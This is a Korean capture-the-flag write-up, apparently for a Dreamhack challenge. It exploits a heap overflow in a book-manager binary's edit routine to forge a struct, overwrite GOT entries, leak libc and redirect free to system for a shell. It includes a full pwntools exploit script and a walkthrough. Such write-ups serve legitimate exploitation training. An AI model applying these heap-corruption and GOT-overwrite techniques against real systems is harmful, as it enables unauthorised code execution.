
바이너리는 책 정보를 힙에 저장하는 단순한 매니저이다.
typedef struct {
long long no; // +0x00
long long price; // +0x08
char *author; // +0x10
char *title; // +0x18
} Book;
Book *books[10]; // 0x4040c0
메뉴별 동작은 다음과 같다.
Register a Book
malloc(0x20)malloc(0x30)malloc(0x30)%lld, 문자열은 %29s로 입력Book Info
books[idx]가 가리키는 구조체를 읽어서 출력Delete a Book
free(title), free(author), free(book) 수행Edit Book Info
%lld%s등록과 수정의 차이가 중요하다. 등록은 %29s인데 수정은 %s 라서 문자열 길이 제한이 없다.
세 권을 순서대로 등록하면 힙 배치는 대략 이렇다.
book0 struct
book0 author
book0 title
book1 struct
book1 author
book1 title
book2 struct
book2 author
book2 title
즉 book0.title을 넘치게 쓰면 바로 다음의 book1 struct를 덮을 수 있다.
이번 익스플로잇에서 실제로 쓰는 취약점은 Edit Book Info의 힙 오버플로우이다.
수정 루틴의 문자열 입력 방식은 다음과 같다.
scanf("%s", book->author);
scanf("%s", book->title);
문제는 author, title 모두 malloc(0x30)인데 %s에 길이 제한이 없다는 점이다.
그래서 book0.title을 수정하면서 0x30 바이트를 넘겨 쓰면 다음 청크인 book1 struct까지 덮을 수 있다.
익스플로잇의 핵심은 book1 struct를 가짜 구조체로 바꾸는 것이다.
book0.title의 버퍼를 끝까지 채우고 다음 청크의 prev_size를 덮는다. 그리고 boo1 struct 청크의 size 필드를 정상으로 유지하고 book1.no와 book1.price에 각각 1을 넣는다. 그리고 book1.author에 books[3]의 주소를 넣고 book1.title에는 books[6] 근처의 쓰기 가능한 영역의 주소를 넣는다.
이후 book1의 author를 수정하면 원래 힙 버퍼가 아니라 bss 영역의 books 배열을 직접 덮게 된다.
이제 books의 3, 4인덱스는 Book *가 아니라 GOT 엔트리를 가리키는 포인터로 만들 수 있다.
여기서 나는 books의 3번째 인덱스에 printf의 got를 넣었다. puts@got의 주소는 0x404020인데 첫 바이트가 0x20라서 공백문자다. 따라서 %s 입력일 때 그대로 넣기 어려워 printf (0x404028)을 넣어 첫 바이트가 0x28인 상태로 넣을 수 있다.
from pwn import *
p = process('./prob')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# p = remote('host8.dreamhack.games', 23604)
# libc = ELF('./libc.so.6')
e = ELF('./prob')
books = 0x4040c0
def menu(n):
p.recvuntil(b'Select Menu: ')
p.sendline(str(n).encode())
def reg(no, price, author, title):
menu(1)
p.recvuntil(b'Book No.: ')
p.sendline(str(no).encode())
p.recvuntil(b'Book Price: ')
p.sendline(str(price).encode())
p.recvuntil(b'Book Author: ')
p.sendline(author)
p.recvuntil(b'Book Title: ')
p.sendline(title)
def info_num(idx, which):
menu(2)
p.recvuntil(b'Book Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Which Info?: ')
p.sendline(str(which).encode())
return int(p.recvline().strip())
def edit_str(idx, which, data):
menu(4)
p.recvuntil(b'Book Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Which Info?: ')
p.sendline(str(which).encode())
p.recvuntil(b'Your Data: ')
p.sendline(data)
def edit_num(idx, which, value):
menu(4)
p.recvuntil(b'Book Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Which Info?: ')
p.sendline(str(which).encode())
p.recvuntil(b'Your Data')
p.sendline(str(value).encode())
def delete(idx):
menu(3)
p.recvuntil(b'Book Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'What\'s your name?: ')
p.sendline(b'A')
reg(0, 0, b'a0', b't0')
reg(1, 1, b'a1', b't1')
reg(2, 2, b'a2', b'/bin/sh')
payload = b'A' * 0x30
payload += b'B' * 0x8
payload += p64(0x31)
payload += p64(1)
payload += p64(1)
payload += p64(books + 0x18)
payload += p64(books + 0x30)
edit_str(0, 4, payload)
payload = p64(e.got['printf'])
payload += p64(e.got['free'])
edit_str(1, 3, payload)
pause()
printf_leak = info_num(3, 1)
libc_base = printf_leak - libc.symbols['printf']
libc.address = libc_base
print(f'printf : {hex(printf_leak)}')
print(f'libc base : {hex(libc_base)}')
print(f'system : {hex(libc.symbols['system'])}')
edit_num(4, 1, libc.symbols['system'])
delete(2)
pause()
p.interactive()

0x4040c0은 books의 배열 시작이다.
books[1]이 가리키는 book1 구조체를 확인하면 다음과 같다.
book1 struct
no = 1
price = 1
author = 0x2c3fc380
title = 0x2c3fc3c0
author와 title은 books 배열 내부가 아니라
heap에 따로 할당된 문자열 버퍼를 가리키는 포인터이다.

books[3]에는 printf@got가, books[4]에는 free@got가 들어간 것을 알 수 있다.
즉 fake book 구조체를 이용해 GOT 영역을 struct처럼 사용하게 된다.

이후 info_num(3, 1)을 실행하면 정수 하나가 출력되는데 이 값이 printf의 실제 libc 주소이다.

그리고 free@got(0x404018)의 값이 system 주소로 overwrite된 것을 확인할 수 있다.
여기서 delete(2)를 하게 되면 free대신 system이 호출되며 셸이 따진다.
이름 입력
책 세 권 등록
book1 struct 오염
payload = b'A' * 0x30
payload += b'B' * 0x8
payload += p64(0x31)
payload += p64(1)
payload += p64(1)
payload += p64(books + 0x18)
payload += p64(books + 0x30)
edit_str(0, 4, payload)
book0.title 수정으로 book1 struct를 덮는다. 핵심은 book1.author을 &books[3]로 바꾸는 것이다.
books[3]과 books[4] 세팅
각각 printf의 got와 free의 got를 넣는다. book1.author이 이미 bss를 가리키기 때문에 author 수정이 전역 배열 덮기로 바뀐다.
libc leak
leak한 print@got로 libc base를 구한다.
free@got를 overwrite
books[4]가 free@got 상태이므로 숫자 필드 수정이 system이 된다.
free(book2->title)이 사실상 system("/bin/sh");가 되기 때문에 셸을 획득한다.

/bin/sh 문자열을 free해서 셸을 획득한다.